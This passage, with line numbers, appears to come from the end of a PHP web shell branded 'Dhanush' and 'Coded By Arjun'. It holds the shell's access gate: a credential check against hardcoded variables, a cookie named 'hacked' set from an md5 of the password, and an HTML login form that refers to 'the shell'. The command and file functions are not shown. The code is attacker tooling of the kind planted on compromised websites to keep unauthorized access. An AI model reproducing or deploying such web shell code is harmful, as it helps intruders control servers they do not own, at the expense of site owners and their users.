6439 if ($_POST['uname'] == $user && $_POST['passwd'] == $pass) {
6440 setcookie("hacked", md5($pass));
6441 $selfenter = $_SERVER["PHP_SELF"];
6442 header("Location:$selfenter");
6443 }
6444}
6445if ((!isset($_COOKIE['hacked']) || $_COOKIE['hacked'] != md5($pass))) {
6446 echo $shellstyle;
6447?>
6448 <center>
6449 <form method="POST">
6450 <div class="logindiv" style="width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px;">
6451 <table cellpadding="9" cellspacing="4">
6452 <tr>
6453 <td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
6454 </tr>
6455 <tr>
6456 <td align="right"><b>User Name : </b></td>
6457 <td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6458 </tr>
6459 <tr>
6460 <td align="right"><b>Password : </b></td>
6461 <td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6462 </tr>
6463 <tr>
6464 <td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
6465 </tr>
6466 <tr>
6467 <td align="center" colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
6468 </tr>
6469 <tr>
6470 <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
6471 </tr>
6472 </table>
6473 </div>
6474
6475 </form>
6476 </center>
6477<br>
6478</body>
6479</html>
6480<?php
6481}
6482?>